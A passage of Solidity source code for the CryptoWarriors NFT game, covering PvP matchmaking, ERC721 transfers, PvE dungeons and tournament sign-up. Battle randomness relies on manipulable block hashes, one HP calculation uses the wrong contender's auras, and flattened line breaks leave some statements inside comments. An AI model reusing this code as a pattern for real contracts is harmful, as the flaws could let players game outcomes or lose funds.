petAuras) internal pure returns(uint256) { return filterWarriorAuras(enableAura(NO_AURA, _unpackAuraValue(packedData)), petAuras); } function _computeContendersTotalHp(uint256 packedData1, uint256 warriorAura1, uint256 petAura1, uint256 packedData2, uint256 warriorAura2, uint256 petAura2) internal pure returns(int256 totalHp1, int256 totalHp2) { int256 enemyPenetration = getPenetration(packedData2, warriorAura2, petAura2); totalHp1 = getTotalHP(packedData1, warriorAura1, petAura1, enemyPenetration); enemyPenetration = getPenetration(packedData1, warriorAura1, petAura1); totalHp2 = getTotalHP(packedData2, warriorAura1, petAura1, enemyPenetration); } function getRatingRange(uint256 _pvpCycle, uint256 _pvpInterval, uint256 _expandInterval) internal pure returns (uint256){ return 50 + (_pvpCycle * _pvpInterval / _expandInterval * 25); } function isMatching(int256 evenRating, int256 oddRating, int256 ratingGap) internal pure returns(bool) { return evenRating <= (oddRating + ratingGap) && evenRating >= (oddRating - ratingGap); } function sort(uint256[] memory data) internal pure { quickSort(data, int(0), int(data.length - 1)); } function quickSort(uint256[] memory arr, int256 left, int256 right) internal pure { int256 i = left; int256 j = right; if(i==j) return; uint256 pivot = arr[uint256(left + (right - left) / 2)]; while (i <= j) { while (arr[uint256(i)] < pivot) i++; while (pivot < arr[uint256(j)]) j--; if (i <= j) { (arr[uint256(i)], arr[uint256(j)]) = (arr[uint256(j)], arr[uint256(i)]); i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right); } function _swapPair(uint256[] memory matchingIds, uint256 id1, uint256 id2, uint256 id3, uint256 id4) internal pure { uint256 temp = matchingIds[id1]; matchingIds[id1] = matchingIds[id2]; matchingIds[id2] = temp; temp = matchingIds[id3]; matchingIds[id3] = matchingIds[id4]; matchingIds[id4] = temp; } function _swapValues(uint256[] memory matchingIds, uint256 id1, uint256 id2) internal pure { uint256 temp = matchingIds[id1]; matchingIds[id1] = matchingIds[id2]; matchingIds[id2] = temp; } function _getMatchingIds(uint256[] memory matchingIds, uint256 _pvpInterval, uint256 _skipCycles, uint256 _expandInterval) internal pure returns(uint256 matchingCount) { matchingCount = matchingIds.length; if (matchingCount == 0) return 0; uint256 warriorId; uint256 index; //sort matching ids quickSort(matchingIds, int256(0), int256(matchingCount - 1)); //find pairs int256 rating1; uint256 pairIndex = 0; int256 ratingRange; for(index = 0; index < matchingCount; index++) { //get packed value warriorId = matchingIds[index]; //unpack rating 1 rating1 = int256(_unpackRatingValue(warriorId)); ratingRange = int256(getRatingRange(_unpackCycleValue(warriorId) + _skipCycles, _pvpInterval, _expandInterval)); if (index > pairIndex && //check left neighbor isMatching(rating1, int256(_unpackRatingValue(matchingIds[index - 1])), ratingRange)) { //move matched pairs to the left //swap pairs _swapPair(matchingIds, pairIndex, index - 1, pairIndex + 1, index); //mark last pair position pairIndex += 2; } else if (index + 1 < matchingCount && //check right neighbor isMatching(rating1, int256(_unpackRatingValue(matchingIds[index + 1])), ratingRange)) { //move matched pairs to the left //swap pairs _swapPair(matchingIds, pairIndex, index, pairIndex + 1, index + 1); //mark last pair position pairIndex += 2; //skip next iteration index++; } } matchingCount = pairIndex; } function _getPVPBattleResults(uint256[] memory matchingIds, uint256 matchingCount, uint256 _targetBlock) internal view { uint256 exp = 0; uint256 hash = 0; uint256 result = 0; for (uint256 even = 0; even < matchingCount; even += 2) { if (exp == 0 || exp > 73) { hash = uint256(keccak256(block.blockhash(_getTargetBlock(_targetBlock)), hash)); exp = 0; } //compute battle result 1 = even(left) id won, 2 - odd(right) id won result = getPVPBattleResult(matchingIds[even], matchingIds[even + 1], hash % (1000 * 10**exp) / 10**exp); require(result > 0 && result < 3); exp++; //if odd warrior won, swap his id with even warrior, //otherwise do nothing, //even ids are winning ids! odds suck! if (result == 2) { _swapValues(matchingIds, even, even + 1); } } } function _getLevel(uint256 _levelPoints) internal pure returns(uint256) { return _levelPoints / POINTS_TO_LEVEL; } } library DataTypes { // / @dev The main Warrior struct. Every warrior in CryptoWarriors is represented by a copy // / of this structure, so great care was taken to ensure that it fits neatly into // / exactly two 256-bit words. Note that the order of the members in this structure // / is important because of the byte-packing rules used by Ethereum. // / Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Warrior{ // The Warrior's identity code is packed into these 256-bits uint256 identity; uint64 cooldownEndBlock; /** every warriors starts from 1 lv (10 level points per level) */ uint64 level; /** PVP rating, every warrior starts with 100 rating */ int64 rating; // 0 - idle uint32 action; /** Set to the index in the levelRequirements array (see CryptoWarriorBase.levelRequirements) that represents * the current dungeon level requirement for warrior. This starts at zero. */ uint32 dungeonIndex; } } contract CryptoWarriorBase is PermissionControll, PVPListenerInterface { /*** EVENTS ***/ /// @dev The Arise event is fired whenever a new warrior comes into existence. This obviously /// includes any time a warrior is created through the ariseWarrior method, but it is also called /// when a new miner warrior is created. event Arise(address owner, uint256 warriorId, uint256 identity); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a warrior /// ownership is assigned, including dungeon rewards. event Transfer(address from, address to, uint256 tokenId); /*** CONSTANTS ***/ uint256 public constant IDLE = 0; uint256 public constant PVE_BATTLE = 1; uint256 public constant PVP_BATTLE = 2; uint256 public constant TOURNAMENT_BATTLE = 3; //max pve dungeon level uint256 public constant MAX_LEVEL = 25; //how many points is needed to get 1 level uint256 public constant POINTS_TO_LEVEL = 10; /// @dev A lookup table contains PVE dungeon level requirements, each time warrior /// completes dungeon, next level requirement is set, until 25lv (250points) is reached. uint32[6] public dungeonRequirements = [ uint32(10), uint32(30), uint32(60), uint32(100), uint32(150), uint32(250) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Warrior struct for all Warriors in existence. The ID /// of each warrior is actually an index of this array. DataTypes.Warrior[] warriors; /// @dev A mapping from warrior IDs to the address that owns them. All warriors have /// some valid owner address, even miner warriors are created with a non-zero owner. mapping (uint256 => address) public warriorToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownersTokenCount; /// @dev A mapping from warrior IDs to an address that has been approved to call /// transferFrom(). Each Warrior can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public warriorToApproved; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; /// @dev The address of the ClockAuction contract that handles sales of warriors. This /// same contract handles both peer-to-peer sales as well as the miner sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev Assigns ownership of a specific warrior to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // When creating new warriors _from is 0x0, but we can't account that address. if (_from != address(0)) { _clearApproval(_tokenId); _removeTokenFrom(_from, _tokenId); } _addTokenTo(_to, _tokenId); // Emit the transfer event. Transfer(_from, _to, _tokenId); } function _addTokenTo(address _to, uint256 _tokenId) internal { // Since the number of warriors is capped to '1 000 000' we can't overflow this ownersTokenCount[_to]++; // transfer ownership warriorToOwner[_tokenId] = _to; uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function _removeTokenFrom(address _from, uint256 _tokenId) internal { // ownersTokenCount[_from]--; warriorToOwner[_tokenId] = address(0); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length - 1; uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _clearApproval(uint256 _tokenId) internal { if (warriorToApproved[_tokenId] != address(0)) { // clear any previously approved ownership exchange warriorToApproved[_tokenId] = address(0); } } function _createWarrior(uint256 _identity, address _owner, uint256 _cooldown, uint256 _level, uint256 _rating, uint256 _dungeonIndex) internal returns (uint256) { DataTypes.Warrior memory _warrior = DataTypes.Warrior({ identity : _identity, cooldownEndBlock : uint64(_cooldown), level : uint64(_level),//uint64(10), rating : int64(_rating),//int64(100), action : uint32(IDLE), dungeonIndex : uint32(_dungeonIndex)//uint32(0) }); uint256 newWarriorId = warriors.push(_warrior) - 1; // let's just be 100% sure we never let this happen. require(newWarriorId == uint256(uint32(newWarriorId))); // emit the arise event Arise(_owner, newWarriorId, _identity); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newWarriorId); return newWarriorId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyAuthorized { secondsPerBlock = secs; } } contract WarriorTokenImpl is CryptoWarriorBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "CryptoWarriors"; string public constant symbol = "CW"; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9f40b779)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /** @dev Checks if a given address is the current owner of the specified Warrior tokenId. * @param _claimant the address we are validating against. * @param _tokenId warrior id */ function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return _claimant != address(0) && warriorToOwner[_tokenId] == _claimant; } function _ownerApproved(address _claimant, uint256 _tokenId) internal view returns (bool) { return _claimant != address(0) &&//0 address means token is burned warriorToOwner[_tokenId] == _claimant && warriorToApproved[_tokenId] == address(0); } /// @dev Checks if a given address currently has transferApproval for a particular Warrior. /// @param _claimant the address we are confirming warrior is approved for. /// @param _tokenId warrior id function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return warriorToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Warriors on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { warriorToApproved[_tokenId] = _approved; } /// @notice Returns the number of Warriors(tokens) owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownersTokenCount[_owner]; } /// @notice Transfers a Warrior to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// CryptoWarriors specifically) or your Warrior may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Warrior to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _tokenId) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any warriors (except very briefly // after a miner warrior is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of warriors // through the allow + transferFrom flow. require(_to != address(saleAuction)); // You can only send your own warrior. require(_owns(msg.sender, _tokenId)); // Only idle warriors are allowed require(warriors[_tokenId].action == IDLE); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /// @notice Grant another address the right to transfer a specific Warrior via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Warrior that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Only idle warriors are allowed require(warriors[_tokenId].action == IDLE); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Warrior owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Warrior to be transfered. /// @param _to The address that should take ownership of the Warrior. Can be any address, /// including the caller. /// @param _tokenId The ID of the Warrior to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any warriors (except very briefly // after a miner warrior is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Only idle warriors are allowed require(warriors[_tokenId].action == IDLE); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Warriors currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256) { return warriors.length; } /// @notice Returns the address currently assigned ownership of a given Warrior. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { require(_tokenId < warriors.length); owner = warriorToOwner[_tokenId]; } /// @notice Returns a list of all Warrior IDs assigned to an address. /// @param _owner The owner whose Warriors we are interested in. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { return ownedTokens[_owner]; } function tokensOfOwnerFromIndex(address _owner, uint256 _fromIndex, uint256 _count) external view returns(uint256[] memory ownerTokens) { require(_fromIndex < balanceOf(_owner)); uint256[] storage tokens = ownedTokens[_owner]; // uint256 ownerBalance = ownersTokenCount[_owner]; uint256 lenght = (ownerBalance - _fromIndex >= _count ? _count : ownerBalance - _fromIndex); // ownerTokens = new uint256[](lenght); for(uint256 i = 0; i < lenght; i ++) { ownerTokens[i] = tokens[_fromIndex + i]; } return ownerTokens; } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { _clearApproval(_tokenId); _removeTokenFrom(_owner, _tokenId); Transfer(_owner, address(0), _tokenId); } } contract CryptoWarriorPVE is WarriorTokenImpl { uint256 internal constant MINER_PERK = 1; uint256 internal constant SUMMONING_SICKENESS = 12; uint256 internal constant PVE_COOLDOWN = 1 hours; uint256 internal constant PVE_DURATION = 15 minutes; /// @notice The payment required to use startPVEBattle(). uint256 public pveBattleFee = 10 finney; uint256 public constant PVE_COMPENSATION = 2 finney; /// @dev The address of the sibling contract that is used to implement warrior generation algorithm. SanctuaryInterface public sanctuary; /** @dev PVEStarted event. Emitted every time a warrior enters pve battle * @param owner Warrior owner * @param dungeonIndex Started dungeon index * @param warriorId Warrior ID that started PVE dungeon * @param battleEndBlock Block number, when started PVE dungeon will be completed */ event PVEStarted(address owner, uint256 dungeonIndex, uint256 warriorId, uint256 battleEndBlock); /** @dev PVEFinished event. Emitted every time a warrior finishes pve battle * @param owner Warrior owner * @param dungeonIndex Finished dungeon index * @param warriorId Warrior ID that completed dungeon * @param cooldownEndBlock Block number, when cooldown on PVE battle entrance will be over * @param rewardId Warrior ID which was granted to the owner as battle reward */ event PVEFinished(address owner, uint256 dungeonIndex, uint256 warriorId, uint256 cooldownEndBlock, uint256 rewardId); /// @dev Update the address of the sanctuary contract, can only be called by the Admin. /// @param _address An address of a sanctuary contract instance to be used from this point forward. function setSanctuaryAddress(address _address) external onlyAdmin { SanctuaryInterface candidateContract = SanctuaryInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSanctuary()); // Set the new contract address sanctuary = candidateContract; } function areUnique(uint256[] memory _warriorIds) internal pure returns(bool) { uint256 length = _warriorIds.length; uint256 j; for(uint256 i = 0; i < length; i++) { for(j = i + 1; j < length; j++) { if (_warriorIds[i] == _warriorIds[j]) return false; } } return true; } /// @dev Updates the minimum payment required for calling startPVE(). Can only /// be called by the COO address. function setPVEBattleFee(uint256 _pveBattleFee) external onlyAdmin { require(_pveBattleFee > PVE_COMPENSATION); pveBattleFee = _pveBattleFee; } /** @dev Returns PVE cooldown, after each battle, the warrior receives a * cooldown on the next entrance to the battle, cooldown depends on current warrior level, * which is multiplied by 1h. Special case: after receiving 25 lv, the cooldwon will be 14 days. * @param _levelPoints warrior level */ function getPVECooldown(uint256 _levelPoints) public pure returns (uint256) { uint256 level = CryptoUtils._getLevel(_levelPoints); if (level >= MAX_LEVEL) return (14 * 24 * PVE_COOLDOWN);//14 days return (PVE_COOLDOWN * level); } /** @dev Returns PVE duration, each battle have a duration, which depends on current warrior level, * which is multiplied by 15 min. At the end of the duration, warrior is becoming eligible to receive * battle reward (new warrior in shiny armor) * @param _levelPoints warrior level points */ function getPVEDuration(uint256 _levelPoints) public pure returns (uint256) { return CryptoUtils._getLevel(_levelPoints) * PVE_DURATION; } /// @dev Checks that a given warrior can participate in PVE battle. Requires that the /// current cooldown is finished and also checks that warrior is idle (does not participate in any action) /// and dungeon level requirement is satisfied function _isReadyToPVE(DataTypes.Warrior _warrior) internal view returns (bool) { return (_warrior.action == IDLE) && //is idle (_warrior.cooldownEndBlock <= uint64(block.number)) && //no cooldown (_warrior.level >= dungeonRequirements[_warrior.dungeonIndex]);//dungeon level requirement is satisfied } /// @dev Internal utility function to initiate pve battle, assumes that all battle /// requirements have been checked. function _triggerPVEStart(uint256 _warriorId) internal { // Grab a reference to the warrior from storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // Set warrior current action to pve battle warrior.action = uint16(PVE_BATTLE); // Set battle duration warrior.cooldownEndBlock = uint64((getPVEDuration(warrior.level) / secondsPerBlock) + block.number); // Emit the pve battle start event. PVEStarted(msg.sender, warrior.dungeonIndex, _warriorId, warrior.cooldownEndBlock); } /// @dev Starts PVE battle for specified warrior, /// after battle, warrior owner will receive reward (Warrior) /// @param _warriorId A Warrior ready to PVE battle. function startPVE(uint256 _warriorId) external payable whenNotPaused { // Checks for payment. require(msg.value >= pveBattleFee); // Caller must own the warrior. require(_ownerApproved(msg.sender, _warriorId)); // Grab a reference to the warrior in storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // Check that the warrior exists. require(warrior.identity != 0); // Check that the warrior is ready to battle require(_isReadyToPVE(warrior)); // All checks passed, let the battle begin! _triggerPVEStart(_warriorId); // Calculate any excess funds included in msg.value. If the excess // is anything worth worrying about, transfer it back to message owner. // NOTE: We checked above that the msg.value is greater than or // equal to the price so this cannot underflow. uint256 feeExcess = msg.value - pveBattleFee; // Return the funds. This is not susceptible // to a re-entry attack because of _isReadyToPVE check // will fail msg.sender.transfer(feeExcess); //send battle fee to beneficiary bankAddress.transfer(pveBattleFee - PVE_COMPENSATION); } function _ariseWarrior(address _owner, DataTypes.Warrior storage _warrior) internal returns(uint256) { uint256 identity = sanctuary.generateWarrior(_warrior.identity, CryptoUtils._getLevel(_warrior.level), _warrior.cooldownEndBlock - 1, 0); return _createWarrior(identity, _owner, block.number + (PVE_COOLDOWN * SUMMONING_SICKENESS / secondsPerBlock), 10, 100, 0); } /// @dev Internal utility function to finish pve battle, assumes that all battle /// finish requirements have been checked. function _triggerPVEFinish(uint256 _warriorId) internal { // Grab a reference to the warrior in storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // Set warrior current action to idle warrior.action = uint16(IDLE); // Compute an estimation of the cooldown time in blocks (based on current level). // and miner perc also reduces cooldown time by 4 times warrior.cooldownEndBlock = uint64((getPVECooldown(warrior.level) / CryptoUtils._getBonus(warrior.identity) / secondsPerBlock) + block.number); // cash completed dungeon index before increment uint256 dungeonIndex = warrior.dungeonIndex; // Increment the dungeon index, clamping it at 5, which is the length of the // dungeonRequirements array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. if (dungeonIndex < 5) { warrior.dungeonIndex += 1; } address owner = warriorToOwner[_warriorId]; // generate reward uint256 arisenWarriorId = _ariseWarrior(owner, warrior); //Emit event PVEFinished(owner, dungeonIndex, _warriorId, warrior.cooldownEndBlock, arisenWarriorId); } /** * @dev finishPVE can be called after battle time is over, * if checks are passed then battle result is computed, * and new warrior is awarded to owner of specified _warriord ID. * NB anyone can call this method, if they willing to pay the gas price */ function finishPVE(uint256 _warriorId) external whenNotPaused { // Grab a reference to the warrior in storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // Check that the warrior exists. require(warrior.identity != 0); // Check that warrior participated in PVE battle action require(warrior.action == PVE_BATTLE); // And the battle time is over require(warrior.cooldownEndBlock <= uint64(block.number)); // When the all checks done, calculate actual battle result _triggerPVEFinish(_warriorId); //not susceptible to reetrance attack because of require(warrior.action == PVE_BATTLE) //and require(warrior.cooldownEndBlock <= uint64(block.number)); msg.sender.transfer(PVE_COMPENSATION); } /** * @dev finishPVEBatch same as finishPVE but for multiple warrior ids. * NB anyone can call this method, if they willing to pay the gas price */ function finishPVEBatch(uint256[] _warriorIds) external whenNotPaused { uint256 length = _warriorIds.length; //check max number of bach finish pve require(length <= 20); uint256 blockNumber = block.number; uint256 index; //all warrior ids must be unique require(areUnique(_warriorIds)); //check prerequisites for(index = 0; index < length; index ++) { DataTypes.Warrior storage warrior = warriors[_warriorIds[index]]; require( // Check that the warrior exists. warrior.identity != 0 && // Check that warrior participated in PVE battle action warrior.action == PVE_BATTLE && // And the battle time is over warrior.cooldownEndBlock <= blockNumber ); } // When the all checks done, calculate actual battle result for(index = 0; index < length; index ++) { _triggerPVEFinish(_warriorIds[index]); } //not susceptible to reetrance attack because of require(warrior.action == PVE_BATTLE) //and require(warrior.cooldownEndBlock <= uint64(block.number)); msg.sender.transfer(PVE_COMPENSATION * length); } } contract CryptoWarriorSanctuary is CryptoWarriorPVE { uint256 internal constant RARE = 3; function burnWarrior(uint256 _warriorId, address _owner) whenNotPaused external { require(msg.sender == address(sanctuary)); // Caller must own the warrior. require(_ownerApproved(_owner, _warriorId)); // Grab a reference to the warrior in storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // Check that the warrior exists. require(warrior.identity != 0); // Check that the warrior is ready to battle require(warrior.action == IDLE);//is idle // Rarity of burned warrior must be less or equal RARE (3) require(CryptoUtils.getRarityValue(warrior.identity) <= RARE); // Warriors with MINER perc are not allowed to be berned require(CryptoUtils.getSpecialityValue(warrior.identity) < MINER_PERK); _burn(_owner, _warriorId); } function ariseWarrior(uint256 _identity, address _owner, uint256 _cooldown) whenNotPaused external returns(uint256){ require(msg.sender == address(sanctuary)); return _createWarrior(_identity, _owner, _cooldown, 10, 100, 0); } } contract CryptoWarriorPVP is CryptoWarriorSanctuary { PVPInterface public battleProvider; /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setBattleProviderAddress(address _address) external onlyAdmin { PVPInterface candidateContract = PVPInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isPVPProvider()); // Set the new contract address battleProvider = candidateContract; } function _packPVPData(uint256 _warriorId, DataTypes.Warrior storage warrior) internal view returns(uint256){ return CryptoUtils._packWarriorPvpData(warrior.identity, uint256(warrior.rating), 0, _warriorId, warrior.level); } function _triggerPVPSignUp(uint256 _warriorId, uint256 fee) internal { DataTypes.Warrior storage warrior = warriors[_warriorId]; uint256 packedWarrior = _packPVPData(_warriorId, warrior); // addPVPContender will throw if fee fails. battleProvider.addPVPContender.value(fee)(msg.sender, packedWarrior); warrior.action = uint16(PVP_BATTLE); } /* * @title signUpForPVP enqueues specified warrior to PVP * * @dev When the owner enqueues his warrior for PvP, the warrior enters the waiting room. * Once every 15 minutes, we check the warriors in the room and select pairs. * For those warriors to whom we found couples, fighting is conducted and the results * are recorded in the profile of the warrior. */ function signUpForPVP(uint256 _warriorId) public payable whenNotPaused {//done // Caller must own the warrior. require(_ownerApproved(msg.sender, _warriorId)); // Grab a reference to the warrior in storage. DataTypes.Warrior storage warrior = warriors[_warriorId]; // sanity check require(warrior.identity != 0); // Check that the warrior is ready to battle require(warrior.action == IDLE); // Define the current price of the auction. uint256 fee = battleProvider.getPVPEntranceFee(warrior.level); // Checks for payment. require(msg.value >= fee); // All checks passed, put the warrior to the queue! _triggerPVPSignUp(_warriorId, fee); // Calculate any excess funds included in msg.value. If the excess // is anything worth worrying about, transfer it back to message owner. // NOTE: We checked above that the msg.value is greater than or // equal to the price so this cannot underflow. uint256 feeExcess = msg.value - fee; // Return the funds. This is not susceptible // to a re-entry attack because of warrior.action == IDLE check // will fail msg.sender.transfer(feeExcess); } function _grandPVPWinnerReward(uint256 _warriorId) internal { DataTypes.Warrior storage warrior = warriors[_warriorId]; // reward 1 level, add 10 level points uint256 level = warrior.level; if (level < (MAX_LEVEL * POINTS_TO_LEVEL)) { level = level + POINTS_TO_LEVEL; warrior.level = uint64(level > (MAX_LEVEL * POINTS_TO_LEVEL) ? (MAX_LEVEL * POINTS_TO_LEVEL) : level); } // give 100 rating for levelUp and 30 for win warrior.rating += 130; // mark warrior idle, so it can participate // in another actions warrior.action = uint16(IDLE); } function _grandPVPLoserReward(uint256 _warriorId) internal { DataTypes.Warrior storage warrior = warriors[_warriorId]; // reward 0.5 level uint256 oldLevel = warrior.level; uint256 level = oldLevel; if (level < (MAX_LEVEL * POINTS_TO_LEVEL)) { level += (POINTS_TO_LEVEL / 2); warrior.level = uint64(level); } // give 100 rating for levelUp if happens and -30 for lose int256 newRating = warrior.rating + (CryptoUtils._getLevel(level) > CryptoUtils._getLevel(oldLevel) ? int256(100 - 30) : int256(-30)); // rating can't be less than 0 and more than 1000000000 warrior.rating = int64((newRating >= 0) ? (newRating > 1000000000 ? 1000000000 : newRating) : 0); // mark warrior idle, so it can participate // in another actions warrior.action = uint16(IDLE); } function _grandPVPRewards(uint256[] memory warriorsData, uint256 matchingCount) internal { for(uint256 id = 0; id < matchingCount; id += 2){ // // winner, even ids are winners! _grandPVPWinnerReward(CryptoUtils._unpackIdValue(warriorsData[id])); // // loser, they are odd... _grandPVPLoserReward(CryptoUtils._unpackIdValue(warriorsData[id + 1])); } } // @dev Internal utility function to initiate pvp battle, assumes that all battle /// requirements have been checked. function pvpFinished(uint256[] warriorsData, uint256 matchingCount) public { //this method can be invoked only by battleProvider contract require(msg.sender == address(battleProvider)); _grandPVPRewards(warriorsData, matchingCount); } function pvpContenderRemoved(uint256 _warriorId) public { //this method can be invoked only by battleProvider contract require(msg.sender == address(battleProvider)); //grab warrior storage reference DataTypes.Warrior storage warrior = warriors[_warriorId]; //specified warrior must be in pvp state require(warrior.action == PVP_BATTLE); //all checks done //set warrior state to IDLE warrior.action = uint16(IDLE); } } contract CryptoWarriorTournament is CryptoWarriorPVP { uint256 internal constant GROUP_SIZE = 5; function _ownsAll(address _claimant, uint256[] memory _warriorIds) internal view returns (bool) { uint256 length = _warriorIds.length; for(uint256 i = 0; i < length; i++) { if (!_ownerApproved(_claimant, _warriorIds[i])) return false; } return true; } function _isReadyToTournament(DataTypes.Warrior storage _warrior) internal view returns(bool){ return _warrior.level >= 50 && _warrior.action == IDLE;//must not participate in any action } function _packTournamentData(uint256[] memory _warriorIds) internal view returns(uint256[] memory tournamentData) { tournamentData = new uint256[](GROUP_SIZE); uint256 warriorId; for(uint256 i = 0; i < GROUP_SIZE; i++) { warriorId = _warriorIds[i]; tournamentData[i] = _packPVPData(warriorId, warriors[warriorId]); } return tournamentData; } // @dev Internal utility function to sign up to tournament, // assumes that all battle requirements have been checked. function _triggerTournamentSignUp(uint256[] memory _warriorIds, uint256 fee) internal { //pack warrior ids into into uint256 uint256[] memory tournamentData = _packTournamentData(_warriorIds); for(uint256 i = 0; i < GROUP_SIZE; i++) { // Set warrior current action to tournament battle warriors[_warriorIds[i]].action = uint16(TOURNAMENT_BATTLE); } battleProvider.addTournamentContender.value(fee)(msg.sender, tournamentData); } function signUpForTournament(uint256[] _warriorIds) public payable { // //check that there is enough funds to pay entrance fee uint256 fee = battleProvider.getTournamentThresholdFee(); require(msg.value >= fee); // //check that warriors group is exactly of allowed size require(_warriorIds.length == GROUP_SIZE); // //message sender must own all the specified warrior IDs require(_ownsAll(msg.sender, _warriorIds)); // //check all warriors are unique require(areUnique(_warriorIds)); // //check that all warriors are 25 lv and IDLE for(uint256 i = 0; i < GROUP_SIZE; i ++) { // Grab a reference to the warrior in storage. require(_isReadyToTournament(warriors[_warriorIds[i]])); } //all checks passed, trigger sign up _triggerTournamentSignUp(_warriorIds, fee); // Calculate any excess funds included in msg.value. If the excess // is anything worth worrying about, transfer it back to message owner. // NOTE: We checked above that the msg.value is greater than or // equal to the fee so this cannot underflow. uint256 feeExcess = msg.value - fee; // Return the funds. This is not susceptible 